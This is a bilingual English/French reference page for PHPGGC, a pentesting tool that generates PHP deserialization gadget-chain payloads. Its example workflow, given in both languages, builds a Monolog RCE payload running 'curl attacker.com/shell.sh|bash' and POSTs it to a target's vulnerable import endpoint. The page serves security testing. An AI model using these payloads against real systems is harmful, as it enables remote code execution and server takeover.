PHPGGC

Bibliothèque et outil CLI de chaînes de gadgets unserialize() PHP prêtes à l'emploi pour les frameworks populaires, utilisées pour générer des payloads d'exploitation de désérialisation. Library and CLI tool of pre-built PHP unserialize() gadget chains for popular frameworks, used to generate deserialization exploit payloads.

↗ https://github.com/ambionics/phpggc

Overview

PHPGGC (PHP Generic Gadget Chains) maintains a large catalog of ready-made “gadget chains” — sequences of magic methods (__wakeup, __destruct, __toString, etc.) in popular PHP libraries and frameworks (Symfony, Laravel, Monolog, Guzzle, WordPress, and many more) that can be chained together to achieve code execution, file writes, or SSRF when an application calls unserialize() on attacker-controlled data. Instead of building a gadget chain by hand, it generates a working serialized payload for a known-vulnerable library/version in one command.

Common Usage

List all available gadget chains

phpggc -l

List chains for a specific target library

phpggc -l monolog

Generate a payload for a Monolog RCE chain

phpggc monolog/rce1 system 'id' -o payload.txt

Base64-encode the payload (useful when passing via URL parameters)

phpggc -b monolog/rce1 system 'id'

URL-encode the payload for direct injection into an HTTP request

phpggc -u monolog/rce1 system 'id'

Show details/requirements for a specific chain before using it

phpggc -i monolog/rce1

Example Workflow

Step 1: Identify the vulnerable library/version in use (e.g. via Composer lockfile leak)

cat composer.lock | grep -A2 "monolog/monolog"

Step 2: Find a matching gadget chain

phpggc -l monolog

Step 3: Generate a base64 payload and inject it into the vulnerable unserialize() sink

phpggc -b monolog/rce1 system 'curl attacker.com/shell.sh|bash' > payload.b64

Step 4: Deliver via the app’s vulnerable parameter/cookie

curl -X POST <target>/import --data "data=$(cat payload.b64)"

Options

-l [FILTER]        list available gadget chains, optionally filtered
-i CHAIN            show info/requirements for a chain
-o FILE              write payload to file instead of stdout
-b, --base64         base64-encode the output
-u, --url             URL-encode the output
-s, --serialize-only  only serialize the object, skip chain-specific wrapping
-f, --phar FILE       wrap the payload as a PHAR (for phar:// deserialization)
--fast-destruct       use fast destruction trigger where supported

Tips

  • Many chains require a specific version range of the target library — check phpggc -i <chain> before assuming it’ll work.
  • Combine with -f to build a PHAR payload when the target is exploitable via phar:// stream wrapper deserialization on file operations (e.g. file_exists(), getimagesize()).
  • If a chain fails, check PHP version compatibility (__wakeup behavior differs across PHP 7/8) alongside library version.
Help / Man page
phpggc [options] <gadget_chain> [parameters]

  -l [filter]         list gadget chains, optionally filtered by name
  -i <chain>           show chain info (requirements, parameters)
  -o <file>            write output to file
  -b, --base64         base64 encode output
  -u, --url            URL encode output
  -j, --jsonp           output as JSONP-style wrapper
  -s, --serialize-only  only run serialize(), no chain wrapping
  -f, --phar <file>     generate a PHAR archive payload
  -a, --ascii-strings   force ASCII-safe string encoding
  --fast-destruct        use faster destruction trigger
  -h, --help             show this help

Vue d’ensemble

PHPGGC (PHP Generic Gadget Chains) maintient un large catalogue de « chaînes de gadgets » prêtes à l’emploi : des séquences de méthodes magiques (__wakeup, __destruct, __toString, etc.) au sein de bibliothèques et frameworks PHP populaires (Symfony, Laravel, Monolog, Guzzle, WordPress, et bien d’autres) qui peuvent être chaînées pour obtenir l’exécution de code, l’écriture de fichiers ou du SSRF lorsqu’une application appelle unserialize() sur des données contrôlées par l’attaquant. Plutôt que de construire une chaîne de gadgets à la main, l’outil génère en une seule commande un payload sérialisé fonctionnel pour une bibliothèque/version connue comme vulnérable.

Utilisation courante

# Lister toutes les chaînes de gadgets disponibles
phpggc -l

# Lister les chaînes pour une bibliothèque cible spécifique
phpggc -l monolog

# Générer un payload pour une chaîne RCE Monolog
phpggc monolog/rce1 system 'id' -o payload.txt

# Encoder le payload en base64 (utile pour le passer via des paramètres d'URL)
phpggc -b monolog/rce1 system 'id'

# Encoder le payload en URL pour une injection directe dans une requête HTTP
phpggc -u monolog/rce1 system 'id'

# Afficher les détails/prérequis d'une chaîne avant de l'utiliser
phpggc -i monolog/rce1

Exemple de workflow

# Étape 1 : identifier la bibliothèque/version vulnérable utilisée (par ex. via une fuite du lockfile Composer)
cat composer.lock | grep -A2 "monolog/monolog"

# Étape 2 : trouver une chaîne de gadgets correspondante
phpggc -l monolog

# Étape 3 : générer un payload base64 et l'injecter dans le sink unserialize() vulnérable
phpggc -b monolog/rce1 system 'curl attacker.com/shell.sh|bash' > payload.b64

# Étape 4 : livrer via le paramètre/cookie vulnérable de l'application
curl -X POST <target>/import --data "data=$(cat payload.b64)"

Options

-l [FILTER]        list available gadget chains, optionally filtered
-i CHAIN            show info/requirements for a chain
-o FILE              write payload to file instead of stdout
-b, --base64         base64-encode the output
-u, --url             URL-encode the output
-s, --serialize-only  only serialize the object, skip chain-specific wrapping
-f, --phar FILE       wrap the payload as a PHAR (for phar:// deserialization)
--fast-destruct       use fast destruction trigger where supported

Conseils

  • De nombreuses chaînes nécessitent une plage de versions spécifique de la bibliothèque cible : vérifiez avec phpggc -i <chain> avant de supposer que ça fonctionnera.
  • Combinez avec -f pour construire un payload PHAR lorsque la cible est exploitable via une désérialisation par le wrapper de flux phar:// sur des opérations sur fichiers (par ex. file_exists(), getimagesize()).
  • Si une chaîne échoue, vérifiez la compatibilité de version PHP (le comportement de __wakeup diffère entre PHP 7 et 8) en plus de la version de la bibliothèque.
Aide / Page de manuel
phpggc [options] <gadget_chain> [parameters]

  -l [filter]         list gadget chains, optionally filtered by name
  -i <chain>           show chain info (requirements, parameters)
  -o <file>            write output to file
  -b, --base64         base64 encode output
  -u, --url            URL encode output
  -j, --jsonp           output as JSONP-style wrapper
  -s, --serialize-only  only run serialize(), no chain wrapping
  -f, --phar <file>     generate a PHAR archive payload
  -a, --ascii-strings   force ASCII-safe string encoding
  --fast-destruct        use faster destruction trigger
  -h, --help             show this help